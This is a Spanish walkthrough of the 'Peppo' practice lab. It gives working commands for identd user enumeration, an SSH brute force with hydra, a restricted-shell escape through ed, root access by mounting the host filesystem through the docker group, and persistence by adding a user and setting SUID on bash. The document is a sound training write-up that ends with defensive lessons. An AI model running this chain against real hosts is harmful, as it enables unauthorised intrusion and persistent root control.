the_open_door
café
ESEN

Peppo

Proving Grounds PracticeDifícilLinux192.168.136.60

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#ident#identd#user-enumeration#ssh#brute-force#username-as-password#rbash#restricted-shell#ed#gtfobins#docker#docker-group#container-breakout#suid#oscp
TL;DR. Peppo expone un identd (113) que delata con qué usuario corre cada servicio: el del puerto 10000 es eleanor (enumeración por ident). Un eleanor:eleanor por SSH (fuerza bruta con el usuario como contraseña) nos mete en una shell restringida (rbash); escapamos con ed (escape de shell restringida) y vemos que eleanor está en el grupo docker. Montamos la raíz del host en un contenedor (abuso del grupo docker), ponemos el bit SUID a bash y abrimos una shell root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:

ping -c 1 192.168.136.60
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.136.60
PORT      STATE SERVICE
22/tcp    open  ssh
113/tcp   open  ident
5432/tcp  open  postgresql
8080/tcp  open  http
10000/tcp open  http
nmap -p22,113,5432,8080,10000 -sCV 192.168.136.60 -oN targetedScan
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
113/tcp   open  ident       FreeBSD identd
5432/tcp  open  postgresql  PostgreSQL DB 9.6.0 or later
8080/tcp  open  http        WEBrick httpd 1.4.2 (Ruby 2.6.6)  [Redmine]
10000/tcp open  http?       servicio "Hello World" propio

Cinco servicios. El 8080 sirve un Redmine (sobre WEBrick), hay un PostgreSQL (5432) y un servicio casero en el 10000 que responde Hello World. Pero lo que más llama la atención es el 113/TCP, un identd: un protocolo en desuso que, si está activo, revela qué usuario corre cada servicio.

ident - TCP 113: enumeración de usuarios

El puerto es lo bastante raro como para buscar metodología antes de tocarlo. La página de HackTricks del 113 (Pentesting Ident) describe justo la herramienta que hace falta:

Sección 113 - Pentesting Ident de HackTricks describiendo ident-user-enum como script Perl que consulta el servicio ident para saber qué usuario es dueño de cada puerto

Ident-user-enum

Ident-user-enum is a simple PERL script to query the ident service (113/TCP) in order to determine the
owner of the process listening on each TCP port of a target system. The list of usernames gathered can be
used for password guessing attacks on other network services.

Esa última frase es la clave de la caja: los nombres que devuelva no son un dato suelto, son munición para un ataque de contraseñas en otro servicio. ident-user-enum (de pentestmonkey, repo) consulta el identd preguntando por el dueño de la conexión de cada puerto abierto. Al ejecutarlo por primera vez falla con Can't locate Net/Ident.pm in @INC, así que hay que instalar el módulo Perl Net::Ident:

wget https://raw.githubusercontent.com/pentestmonkey/ident-user-enum/refs/heads/master/ident-user-enum.pl
chmod +x ident-user-enum.pl
apt install libnet-ident-perl
./ident-user-enum.pl 192.168.136.60 22 113 5432 8080 10000
192.168.136.60:22       root
192.168.136.60:113      nobody
192.168.136.60:5432     <unknown>
192.168.136.60:8080     <unknown>
192.168.136.60:10000    eleanor

Ident nos da un usuario real: el servicio del puerto 10000 corre como eleanor (enumeración por ident). Es un nombre concreto sobre el que dirigir el siguiente paso, sin necesidad de adivinar.

Shell como eleanor

SSH: usuario como contraseña

Con un único usuario válido, antes de un diccionario completo merece la pena probar el patrón más simple y sorprendentemente frecuente: el nombre de usuario como contraseña. Lanzamos hydra contra SSH (fuerza bruta) y cae enseguida:

hydra -l eleanor -P /usr/share/wordlists/rockyou.txt ssh://192.168.136.60 -I -t 64
[22][ssh] host: 192.168.136.60   login: eleanor   password: eleanor

eleanor:eleanor. Entramos por SSH, pero la sesión es una shell restringida (rbash): no hay id, hostname ni whoami, el PATH es de solo lectura y apunta a un único directorio:

Shell rbash de eleanor: id/hostname/whoami no existen, PATH=/home/eleanor/bin y readonly

eleanor@peppo:~$ echo $PATH
/home/eleanor/bin
eleanor@peppo:~$ export PATH=/usr/bin:$PATH
-rbash: PATH: readonly variable

Escape de rbash con ed

Inventariamos lo permitido. En ~/bin solo hay un puñado de binarios, y entre ellos destaca ed, el editor de líneas:

Contenido de /home/eleanor/bin: chmod chown ed ls mv ping sleep touch (ed resaltado)

GTFOBins documenta exactamente ese caso para ed: su sección Shell dice que sirve para salir de entornos restringidos lanzando una shell interactiva del sistema, con el comando !:

Ficha de ed en GTFOBins: la sección Shell indica que puede usarse para escapar de entornos restringidos, con el payload ed seguido de !/bin/sh

ed    [Shell] [File write] [File read] [SUID] [Sudo] [Limited SUID]

Shell
It can be used to break out from restricted environments by spawning an interactive system shell.

ed
!/bin/sh

Es decir: ed rompe entornos restringidos porque su comando ! lanza un programa del sistema. Abrimos una shell que no hereda el rbash, reconstruimos un PATH usable y comprobamos quiénes somos (escape de shell restringida):

ed
!/bin/sh
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:$PATH
id

ed !/bin/sh, PATH reconstruido e id mostrando a eleanor en el grupo 999(docker)

uid=1000(eleanor) gid=1000(eleanor) groups=1000(eleanor),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),999(docker)

El id revela el detalle clave: eleanor está en el grupo docker. Leemos primero la prueba de usuario:

cat local.txt && whoami && hostname && ip a

local.txt leída como eleanor en peppo, con IP 192.168.136.60 y la interfaz docker0

045d6d5665edfb58baa46aaba87f6ccc

Escalada de privilegios

Abuso del grupo docker: montar la raíz del host

El demonio Docker corre como root, así que pertenecer al grupo docker equivale a ser root: podemos lanzar un contenedor que monte el sistema de ficheros del host y operar sobre él con privilegios totales. Listamos las imágenes locales y arrancamos una montando / del host en /mnt, con chroot encima (abuso del grupo docker):

docker images
docker run -it --rm -v /:/mnt postgres chroot /mnt bash
id

docker images (redmine, postgres) y docker run -v /:/mnt postgres chroot /mnt bash devolviendo uid=0(root)

root@dd1f1531dd8e:/# id
uid=0(root) gid=0(root) groups=0(root)

Ya somos root sobre el disco real del host. Para consolidar el acceso de forma limpia, creamos un usuario nuevo y ponemos el bit SUID a bash (ambas acciones recaen sobre el host montado):

adduser jaime
chmod u+s /bin/bash

adduser jaime y chmod u+s /bin/bash ejecutados como root dentro del contenedor sobre el host montado

root@dd1f1531dd8e:/# adduser jaime
Adding user `jaime' ...
Adding new user `jaime' (1001) with group `jaime' ...
...
passwd: password updated successfully
root@dd1f1531dd8e:/# chmod u+s /bin/bash
root@dd1f1531dd8e:/# exit

El adduser se ejecuta como root sobre el disco del host montado en /mnt, así que la cuenta jaime queda creada en el host real, no en el contenedor efímero.

Salimos del contenedor, entramos por SSH con el usuario recién creado y aprovechamos el bash con SUID: -p conserva el euid=0 (abuso de SUID):

ssh jaime@192.168.136.60
bash -p
whoami

ssh como jaime y bash -p devolviendo root en peppo

jaime@192.168.136.60's password:
Linux peppo 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64
-bash-4.4$ id && hostname && ip a
uid=1001(jaime) gid=1001(jaime) groups=1001(jaime)
peppo
...
-bash-4.4$ bash -p
bash-4.4# whoami
root

El login SSH funciona (la cuenta existe en el host real) y bash -p conserva el euid=0 del bash con SUID, dándonos root directamente sobre peppo.

Leemos la prueba final:

cat /root/proof.txt && hostname && ip a && whoami

proof.txt leída como root en peppo (192.168.136.60)

f87d35c9fc456dc93f70dc862b40013b

Cadena de ataque

ident (113)  --  delata el usuario de cada servicio  ->  10000 = eleanor
        │  hydra SSH: eleanor:eleanor (usuario como contrasena)
        ▼
shell restringida (rbash)  --  PATH readonly, ~/bin limitado
        │  ed -> !/bin/sh  (escape GTFOBins) + PATH reconstruido
        ▼
shell como eleanor  (id: grupo docker, local.txt)
        │  docker run -v /:/mnt postgres chroot /mnt bash  ->  root en el host
        │  adduser jaime + chmod u+s /bin/bash
        ▼
shell como root  (ssh jaime + bash -p, proof.txt)

Lecciones aprendidas

  • Ident es una fuga de información gratuita. Un protocolo de los años 90 sin valor real hoy reveló el usuario detrás de cada servicio y nos dio el nombre exacto (eleanor) al que apuntar. No exponer el 113.
  • El usuario como contraseña funciona más de lo que debería. Antes de un diccionario enorme, probar usuario:usuario es barato y aquí abrió el SSH a la primera.
  • rbash no es una barrera de seguridad. Bastó un binario con escape (ed) en el PATH restringido para saltar a una shell normal. Una shell restringida solo contiene si su directorio no incluye editores, paginadores ni intérpretes.
  • El grupo docker es root. Quien puede hablar con el demonio puede montar / del host en un contenedor y operar como root. Añadir un usuario al grupo docker es concederle el control total de la máquina.
Cheatsheet de comandos 14 comandos

Repaso rápido